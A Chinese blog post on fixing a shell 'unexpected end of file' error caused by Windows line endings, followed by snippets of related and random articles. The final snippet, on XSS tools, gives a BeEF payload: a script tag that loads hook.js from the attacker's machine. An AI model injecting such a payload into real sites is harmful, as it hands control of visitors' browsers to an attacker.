将window上编辑的xxy1.sh脚本上传到linux上,并执行的时候提示

xxy1.sh: line 17: syntax error: unexpected end of file
但是通过cat xxy1.sh查看脚本的时候,未发现语法异常,找了度娘后知道
 
原来是window和linux的文件格式不同导致,解决办法就是
(1)vi xxy1.sh
(2)按下键盘Esc键,按下键盘“:”冒号键
(3)输入:set fileformat=unix,后回车
(4)重复步骤2,输入:wq,后回车
在sh xxy1.sh即可正常执行脚本了

syntax error:unexpected end of file的更多相关文章

  1. SHELL syntax error:unexpected end of file 提示错误

    SHELL syntax error:unexpected end of file 提示错误 if [ -n "$1" ] then " else " fi e ...

  2. 【问题解决】syntax error: unexpected end of file或-bash: ./full_build.sh: /bin/bash^M: bad interpreter: No

    在阅读的过程中有不论什么问题,欢迎一起交流 邮箱:1494713801@qq.com    QQ:1494713801 运行一个脚本full_build.sh 时, 一直是提示我: -bash: ./ ...

  3. shell 报错:syntax error: unexpected end of file

    有时执行脚本时会报错: [root@host1 shell]# sh -x test.sh + $'\r' : command not found test.: syntax error: unexp ...

  4. input01.sh: line 11: warning: here-document at line 4 delimited by end-of-file (wanted `EOF') input01.sh: line 12: syntax error: unexpected end of file

    写了个脚本用cat>>EOF报错如下: input01.sh: line 11: warning: here-document at line 4 delimited by end-of- ...

  5. 报错解决——linux下执行sh出现异常"syntax error: unexpected end of file"

    有时我们在linux下执行一个sh文件,会报错“SYNTAX ERROR:UNEXPECTED END OF FILE”,这个现象主要是工作的系统环境改变造成的. 若最初脚本中是在windows下,使 ...

  6. win-Linux文件脚本迁移过程中的问题 syntax error: unexpected end of file

    问题:  在win下写好的shell脚本,放到Linux上测试sh -n报错如下 ORA_check.sh: line 251: syntax error: unexpected end of fil ...

  7. 解决执行脚本报syntax error: unexpected end of file或syntax error near unexpected token `fi'错误的问题

    参考:https://blog.csdn.net/u012453843/article/details/69803244 解决执行脚本报syntax error: unexpected end of ...

  8. shell:syntax error:unexpected end of file/Starting proxy www-balancer: cannot bind socket--转载

    src:http://www.2cto.com/os/201308/238962.html   执行某bash脚本是发生: syntax error: unexpected end of file 主 ...

  9. 页面白屏并且报错PHP Parse error: syntax error, unexpected end of file in 试了很久总算解决了

    页面白屏并且报错PHP Parse error:  syntax error, unexpected end of file in 试了很久 啥短标记,打开,都试了 最简单的办法 是重新建立一个文件, ...

随机推荐

  1. QtCore Module's Classes

    Qt Core C++ Classes Provides core non-GUI functionality. More... Reference These are links to the AP ...

  2. codeforces 914 D 线段树+数学

    题意 给出一个长度为\(n\)的数列\(a\),两种询问,第一种给出三个数\(l,r,x\),区间\([l,r]\)的\(gcd\)值是否和\(x\)相似,若最多改变区间\([l,r]\)中的一个数使 ...

  3. 【POJ2832 】【Tyvj1460】【 7.22Test 】询问

    几种版本的题面 Description You are given an undirected graph G with N vertices and M edges. Each edge has a ...

  4. python 思维导图-linux命令

    linux基础 linux关于文件/目录的终端命令 linux关于文件内容处理的终端命令

  5. Memcached服务器上实现多个实例(约约问题排查)

    约约测试服上出行一个问题,司机收车失败. (1)经查看代码是null指针异常. 针对,之前,同套代码发布到华威测试服,未出现该问题,遂认定不是代码问题. (2)打印异常信息,获取null值异常的收车司 ...

  6. Netty源码分析第5章(ByteBuf)---->第9节: ByteBuf回收

    Netty源码分析第五章: ByteBuf 第九节: ByteBuf回收 之前的章节我们提到过, 堆外内存是不受jvm垃圾回收机制控制的, 所以我们分配一块堆外内存进行ByteBuf操作时, 使用完毕 ...

  7. 用可道云kodexplorer在dedecms系统网站上秒建私人网盘

    国内草根站长用的最多的一款建站源程序就是dedecms,通常是通过FTP或者服务器面板自带的文件管理器来上传下载的.FTP可视性.体验都相对差一点,且需要事先安装FTP软件,更换环境后的站点管理上有很 ...

  8. Linux加密到K8S中

    文件名字 test.conf 加密:  base64 --wrap=0 aaa.conf 把得到的密钥填入配置文件当中即可

  9. 使用C#把Tensorflow训练的.pb文件用在生产环境

    训练了很久的Tf模型,终于要到生产环境中去考研一番了.今天花费了一些时间去研究tf的模型如何在生产环境中去使用.大概整理了这些方法. 继续使用分步骤保存了的ckpt文件 这个貌似脱离不了tensorf ...

  10. XSS工具

    1.BEEF KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入 ...